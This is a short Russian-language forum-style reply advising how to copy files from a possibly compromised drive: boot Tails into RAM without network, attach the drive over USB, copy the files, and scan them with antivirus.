В идеале вообще загрузиться с какого нибудь tails (с флешки, с загрузкой в ОЗУ без какой-либо записи на винт, без сети), подключить накопитель с которого будем копировать (!) по USB (т.к. через системную шину он может выполнять некоторые команды CPU в основной системе, если заражен микрокод) и скопировать с него файлы на дополнительный накопитель. После чего не забыть прогнать антивирусом все файлы (при условии что твое устройство попало не в те руки не в зашифрованном состоянии).

В безопасности можно копать до бесконечности, поэтому выбирай, какой из способов и какая степень тебе необходимы. Моя задача лишь представить и оговорить возможные варианты.